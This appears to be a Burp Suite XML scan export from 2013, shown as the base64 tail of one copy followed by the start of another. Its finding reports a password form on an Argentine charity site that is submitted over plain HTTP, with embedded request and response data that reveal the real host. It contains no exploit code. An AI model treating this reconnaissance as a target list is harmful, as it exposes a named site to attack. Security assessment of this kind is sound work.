HNwYW4gY2xhc3M9ImgyIj5BY2Vyw6FuZG9zZSBhIG51ZXN0cmEgZW50aWRhZDwvc3Bhbj48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBhbGlnbj0iY2VudGVyIiBjZWxscGFkZGluZz0iMTAiIGNlbGxzcGFjaW5nPSI1Ij4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgIAogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNGRkZGRkYiPjx0YWJsZSB3aWR0aD0iMzAwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7Jm5ic3A7PGltZyBzcmM9ImltYWdlcy9zYWx1ZC5qcGciIHdpZHRoPSIxNTQiIGhlaWdodD0iMzkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSI3IiBjZWxscGFkZGluZz0iNSI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJoMyI+RGlyZWNjaW9uOiBBdi4gUHRlIFBlcsOzbiAoZXggUml2YWRhdmlhKSAyNTE0MC4gTWVybG8gQnMuIEFzLjxiciAvPgogICAgICAgICAgICAgICAgICAgICAgICBUZWwuOiAwMjIwIDQ4Mjg0MTggLyA0ODYxMTgwPGJyIC8+CiAgICAgICAgICAgICAgICAgICAgICAgIEUtbWFpbDogc2FsdWRhY3RpdmFAc2FsdWRhY3RpdmEub3JnLmFyPC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICA8cD48L3A+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICA8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjciIGNlbGxwYWRkaW5nPSI1Ij4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0NDQ0NDQyIgY2xhc3M9ImgyIj5ESU5FUk8gTUFJTDwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIxMCIgY2VsbHNwYWNpbmc9IjUiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSIzMDAiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTAiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyOTAiPjxpbWcgc3JjPSJpbWFnZXMvZGluZXJvbWFpbC5qcGciIHdpZHRoPSI0MTEiIGhlaWdodD0iNTAiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAgICAgICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iNyIgY2VsbHBhZGRpbmc9IjUiPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iaDMiPkltcHJpbWEgZWwgY3Vww7NuIHkgZGlyw61qYXNlIGEgbGFzIHN1Y3Vyc2FsZXMgaGFiaWxpdGFkYXMgcGFyYSByZWFsaXphciBlbCBwYWdvLiBMdWVnbyBww7NuZ2FzZSBlbiBjb250YWN0byBjb24gbm9zb3Ryb3MgcGFyYSBpbmZvcm1hcm5vcyBkZSBsYSBvcGVyYWNpw7NuLjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgICAgICAgPHA+PC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICA8L3RyPgogICAgICA8L3RhYmxlPgogICAgICA8cD48YnIgLz4KICAgIDwvcD48L3RkPgogIDwvdHI+CjwvdGFibGU+CgoKICAgICAKPC9kaXY+CgoKPCEtLWVuZCBvZiBDT05URU5JRE8yIC0tPgogICAgCiAgICA8ZGl2IGNsYXNzPSJjb250ZW5pZG8iIGlkPSJjb250ZW5pZG8zIj4KCgogICAgPC9kaXY+IDwhLS1lbmQgb2YgQ09OVEVOSURPMyAtLT4KICAgIAogICAgPGRpdiBjbGFzcz0iY29udGVuaWRvIiBpZD0iY29udGVuaWRvNCI+CiAgICAKICAgIDwvZGl2PiA8IS0tZW5kIG9mIENPTlRFTklETzQgLS0+CiAgICAKPGJyIC8+ICAgIAo8YnIgLz4KPGRpdiBjbGFzcz0iY29udGVuaWRvMiIgaWQ9ImNvbnRlbmlkbzUiIGFsaWduPSJjZW50ZXIiPjwvZGl2Pgo8cD4KICA8IS0tZW5kIG9mIENPTlRFTklETzQgLS0+CiAgPCEtLWVuZCBvZiBDT05URU5FRE9SIC0tPgo8L3A+Cgo8c2NyaXB0Pm11ZXN0cmFGb3JtYVBhZ28oZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Zvcm1hcGFnbycpLnZhbHVlKTwvc2NyaXB0Pgo8L2JvZHk+Cgo8L2h0bWw+Cg==]]></response>
272 <responseRedirected>false</responseRedirected>
273 </requestresponse>
274 </issue>
275 </issues>
0 <?xml version="1.0"?>
1 <!DOCTYPE issues [
2 <!ELEMENT issues (issue*)>
3 <!ATTLIST issues burpVersion CDATA "">
4 <!ATTLIST issues exportTime CDATA "">
5 <!ELEMENT issue (serialNumber, type, name, host, path, location, severity, confidence, issueBackground?, remediationBackground?, issueDetail?, remediationDetail?, requestresponse*)>
6 <!ELEMENT serialNumber (#PCDATA)>
7 <!ELEMENT type (#PCDATA)>
8 <!ELEMENT name (#PCDATA)>
9 <!ELEMENT host (#PCDATA)>
10 <!ATTLIST host ip CDATA "">
11 <!ELEMENT path (#PCDATA)>
12 <!ELEMENT location (#PCDATA)>
13 <!ELEMENT severity (#PCDATA)>
14 <!ELEMENT confidence (#PCDATA)>
15 <!ELEMENT issueBackground (#PCDATA)>
16 <!ELEMENT remediationBackground (#PCDATA)>
17 <!ELEMENT issueDetail (#PCDATA)>
18 <!ELEMENT remediationDetail (#PCDATA)>
19 <!ELEMENT requestresponse (request?, response?, responseRedirected?)>
20 <!ELEMENT request (#PCDATA)>
21 <!ATTLIST request base64 (true|false) "false">
22 <!ELEMENT response (#PCDATA)>
23 <!ATTLIST response base64 (true|false) "false">
24 <!ELEMENT responseRedirected (#PCDATA)>
25 ]>
26 <issues burpVersion="1.5.18" exportTime="Thu Nov 07 15:19:06 GMT-03:00 2013">
27 <issue>
28 <serialNumber>382887018676354048</serialNumber>
29 <type>3145984</type>
30 <name>Cleartext submission of password</name>
31 <host ip="200.20.20.201">http://www.example.org.ar</host>
32 <path><![CDATA[/index.php]]></path>
33 <location><![CDATA[/index.php]]></location>
34 <severity>High</severity>
35 <confidence>Certain</confidence>
36 <issueBackground><![CDATA[Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches. ]]></issueBackground>
37 <remediationBackground><![CDATA[The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.]]></remediationBackground>
38 <issueDetail><![CDATA[The page contains a form with the following action URL, which is submitted over clear-text HTTP:<ul><li>http://www.example.org.ar/login.php</li></ul>The form contains the following password field:<ul><li>pass</li></ul>]]></issueDetail>
39 <requestresponse>
40 <request base64="true"><![CDATA[R0VUIC9pbmRleC5waHAgSFRUUC8xLjENCkhvc3Q6IHd3dy5zYWx1ZGFjdGl2YS5vcmcuYXINCkFjY2VwdDogKi8qDQpBY2NlcHQtTGFuZ3VhZ2U6IGVuDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXaW42NDsgeDY0OyBUcmlkZW50LzUuMCkNCkNvbm5lY3Rpb246IGNsb3NlDQoNCg==]]></request>
41 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjE0OjA1IEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpYLVBvd2VyZWQtQnk6IFBIUC81LjIuMTcNCkV4cGlyZXM6IFRodSwgMTkgTm92IDE5ODEgMDg6NTI6MDAgR01UDQpDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MA0KUHJhZ21hOiBuby1jYWNoZQ0KQ29ubmVjdGlvbjogY2xvc2UNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sDQpDb250ZW50LUxlbmd0aDogNjA2MDYNCg0KIDxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIiAvPgo8dGl0bGU+U2FsdWQgQWN0aXZhIC0gQWJ1c28gdmlvbGVuY2lhIHkgbWFsdHJhdG88L3RpdGxlPgoKPHNjcmlwdD4gCiAgICAvL2VzdG8gcGFyYSBwYXNhcmxlIGFsIGZsYXNoIGxhcyB2YXJpYWxiZXMgZGVsIHBocAogCQoKCXZhciBib3Q9Jyc7Ci8vYWxlcnQodmFyaWFibGVTZXJ2aWRvcik7Cjwvc2NyaXB0Pgo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0IiB0eXBlPSJ0ZXh0L0phdmFTY3JpcHQiPgo8IS0tCmZ1bmN0aW9uIE1NX3ByZWxvYWRJbWFnZXMoKSB7IC8vdjMuMAogIHZhciBkPWRvY3VtZW50OyBpZihkLmltYWdlcyl7IGlmKCFkLk1NX3ApIGQuTU1fcD1uZXcgQXJyYXkoKTsKICAgIHZhciBpLGo9ZC5NTV9wLmxlbmd0aCxhPU1NX3ByZWxvYWRJbWFnZXMuYXJndW1lbnRzOyBmb3IoaT0wOyBpPGEubGVuZ3RoOyBpKyspCiAgICBpZiAoYVtpXS5pbmRleE9mKCIjIikhPTApeyBkLk1NX3Bbal09bmV3IEltYWdlOyBkLk1NX3BbaisrXS5zcmM9YVtpXTt9fQp9Ci8vLS0+Cjwvc2NyaXB0Pgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KCjwvaGVhZD4KCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiIHR5cGU9InRleHQvSmF2YVNjcmlwdCI+CjwhLS0KZnVuY3Rpb24gTU1fcmVsb2FkUGFnZShpbml0KSB7ICAvL3JlbG9hZHMgdGhlIHdpbmRvdyBpZiBOYXY0IHJlc2l6ZWQKICBpZiAoaW5pdD09dHJ1ZSkgd2l0aCAobmF2aWdhdG9yKSB7aWYgKChhcHBOYW1lPT0iTmV0c2NhcGUiKSYmKHBhcnNlSW50KGFwcFZlcnNpb24pPT00KSkgewogICAgZG9jdW1lbnQuTU1fcGdXPWlubmVyV2lkdGg7IGRvY3VtZW50Lk1NX3BnSD1pbm5lckhlaWdodDsgb25yZXNpemU9TU1fcmVsb2FkUGFnZTsgfX0KICBlbHNlIGlmIChpbm5lcldpZHRoIT1kb2N1bWVudC5NTV9wZ1cgfHwgaW5uZXJIZWlnaHQhPWRvY3VtZW50Lk1NX3BnSCkgbG9jYXRpb24ucmVsb2FkKCk7Cn0KTU1fcmVsb2FkUGFnZSh0cnVlKTsKLy8tLT4KCjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKCjwvaGVhZD4KCjxib2R5IGJhY2tncm91bmQ9ImltZy9mb25kb19kZWdyYWRlLmpwZyIgdG9wbWFyZ2luPSIwIj4KPHRhYmxlIHdpZHRoPSIxMDA1IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgPHRyPiAKICAgIDx0ZCB3aWR0aD0iOTYiPjxpbWcgc3JjPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzBfMDEuanBnIiB3aWR0aD0iOTYiIGhlaWdodD0iMjA4IiAvPjwvdGQ+CiAgICA8dGQgd2lkdGg9IjgwOSI+IDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KQUNfRkxfUnVuQ29udGVudCggJ2NvZGViYXNlJywnaHR0cDovL2Rvd25sb2FkLm1hY3JvbWVkaWEuY29tL3B1Yi9zaG9ja3dhdmUvY2Ficy9mbGFzaC9zd2ZsYXNoLmNhYiN2ZXJzaW9uPTcsMCwxOSwwJywnd2lkdGgnLCc4MDknLCdoZWlnaHQnLCcyMDgnLCdzcmMnLCdzd2YvaGVhZGVyJywncXVhbGl0eScsJ2hpZ2gnLCdwbHVnaW5zcGFnZScsJ2h0dHA6Ly93d3cubWFjcm9tZWRpYS5jb20vZ28vZ2V0Zmxhc2hwbGF5ZXInLCdtb3ZpZScsJ3N3Zi9oZWFkZXInICk7IC8vZW5kIEFDIGNvZGUKPC9zY3JpcHQ+IDxub3NjcmlwdD4KICAgICAgPG9iamVjdCBjbGFzc2lkPSJjbHNpZDpEMjdDREI2RS1BRTZELTExY2YtOTZCOC00NDQ1NTM1NDAwMDAiIGNvZGViYXNlPSJodHRwOi8vZG93bmxvYWQubWFjcm9tZWRpYS5jb20vcHViL3Nob2Nrd2F2ZS9jYWJzL2ZsYXNoL3N3Zmxhc2guY2FiI3ZlcnNpb249NywwLDE5LDAiIHdpZHRoPSI4MDkiIGhlaWdodD0iMjA4Ij4KICAgICAgICA8cGFyYW0gbmFtZT0ibW92aWUiIHZhbHVlPSJzd2YvaGVhZGVyLnN3ZiIgLz4KICAgICAgICA8cGFyYW0gbmFtZT0icXVhbGl0eSIgdmFsdWU9ImhpZ2giIC8+CiAgICAgICAgPGVtYmVkIHNyYz0ic3dmL2hlYWRlci5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9IjgwOSIgaGVpZ2h0PSIyMDgiPjwvZW1iZWQ+IAogICAgICA8L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIHdpZHRoPSIxMiUiIHJvd3NwYW49IjUiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzAwMDAwMCI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI0NjEiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaW1nL1F1aWVuZXNTb21vc19BMl8wXzEzLmpwZyI+IAogICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CkFDX0ZMX1J1bkNvbnRlbnQoICdjb2RlYmFzZScsJ2h0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCcsJ3dpZHRoJywnOTYnLCdoZWlnaHQnLCc0NjEnLCdzcmMnLCdzd2Yvc3VibWVudScsJ3F1YWxpdHknLCdoaWdoJywncGx1Z2luc3BhZ2UnLCdodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyJywnbW92aWUnLCdzd2Yvc3VibWVudScgKTsgLy9lbmQgQUMgY29kZQo8L3NjcmlwdD4gPG5vc2NyaXB0PgogICAgICA8b2JqZWN0IGNsYXNzaWQ9ImNsc2lkOkQyN0NEQjZFLUFFNkQtMTFjZi05NkI4LTQ0NDU1MzU0MDAwMCIgY29kZWJhc2U9Imh0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+CiAgICAgICAgPHBhcmFtIG5hbWU9Im1vdmllIiB2YWx1ZT0ic3dmL3N1Ym1lbnUuc3dmIiAvPgogICAgICAgIDxwYXJhbSBuYW1lPSJxdWFsaXR5IiB2YWx1ZT0iaGlnaCIgLz4KICAgICAgICA8ZW1iZWQgc3JjPSJzd2Yvc3VibWVudS5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+PC9lbWJlZD48L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgYmdjb2xvcj0iI0ZGRkZGRiI+CiAgICAgICAgPHRyPiAKICAgICAgICAgIDx0ZCB3aWR0aD0iMTciIHJvd3NwYW49IjciPjxwPiZuYnNwOzwvcD48L3RkPgogICAgICAgICAgPHRkIHdpZHRoPSIxNzIiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxpbWcgc3JjPSJpbWcvM3B4LmpwZyIgd2lkdGg9IjUiIGhlaWdodD0iNSI+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+PGxpbmsgaHJlZj0iLi4vZXN0aWxvcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIC8+Cjxib2R5IGJnY29sb3I9IiNDQ0NDQ0MiIHRvcG1hcmdpbj0iNiBweCI+PHRhYmxlIHdpZHRoPSIxNjUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIzIiBiZ2NvbG9yPSIjRkZGRkZGIj4KPHRyPgogICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTkxIiBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiAgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MThfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+SG9tZTwvYT48L3RkPgogIDwvdHI+Cjx0cj4KICA8dGQgaGVpZ2h0PSIyOCIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj4mbmJzcDsmbmJzcDtOb3RpY2lhczwvYT48L3RkPgo8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJkb25hY2lvbmVzLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmb25kb2JvdG9uIj5Eb25hY2lvbmVzPC9hPjwvdGQ+CiAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciICB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yM19uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5IaXN0b3JpYWwgZGUgbmV3c2xldHRlcnM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTEzYSIgY2xhc3M9ImZvbmRvYm90b24iPkVudmlhciBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yNl9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5WZXIgdHJhYmFqb3MgZGUgdXN1YXJpb3M8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MTZfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+U2FsdWQgQWN0aXZhIHByZW5zYTwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJtYWlsdG86c2FsdWRhY3RpdmFAc2FsdWRhY3RpdmEub3JnLmFyIiBjbGFzcz0iZm9uZG9ib3RvbiI+TWFuZCZhYWN1dGU7IHR1IEMuVi48L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgIHdpZHRoPSI2ImhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTIxX25ldyIgY2xhc3M9ImZvbmRvYm90b24iPkluZm9ybWFjaSZvYWN1dGU7biBkZSBpbnRlciZlYWN1dGU7czwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyI+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiBoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xMF80IiBjbGFzcz0iZm9uZG9ib3RvbiI+Q29uZ3Jlc29zCiAgICAgICAgICAgICAgICAgIHkgSm9ybmFkYXM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTExIiBjbGFzcz0iZm9uZG9ib3RvbiI+UmVnaXN0cmFjaSZvYWN1dGU7bjwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgCiAgICAgICAgICA8L3RhYmxlPgo8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNSIgdGFyZ2V0PSJfYmxhbmsiPjxicj4KICAgICAgICAgICAgICAgICAgPGltZyBzcmM9ImltZy9iYW5uZXJfZG9uYWNpb25lcy5qcGciIHdpZHRoPSIxNjIiIGhlaWdodD0iMTIwIiBib3JkZXI9IjAiPjxicj4KICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaW1nL2JvdG9uRm9yby5naWYiIHdpZHRoPSIxNzIiIGhlaWdodD0iMTE3IiBib3JkZXI9IjAiPjwvYT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTY3IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjkiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzAzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iOSIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTQ5IiBiYWNrZ3JvdW5kPSJpbWcvY2hpY29zX3BlcmRpZG9zXzA1LmdpZiI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDUuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMCI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDcuZ2lm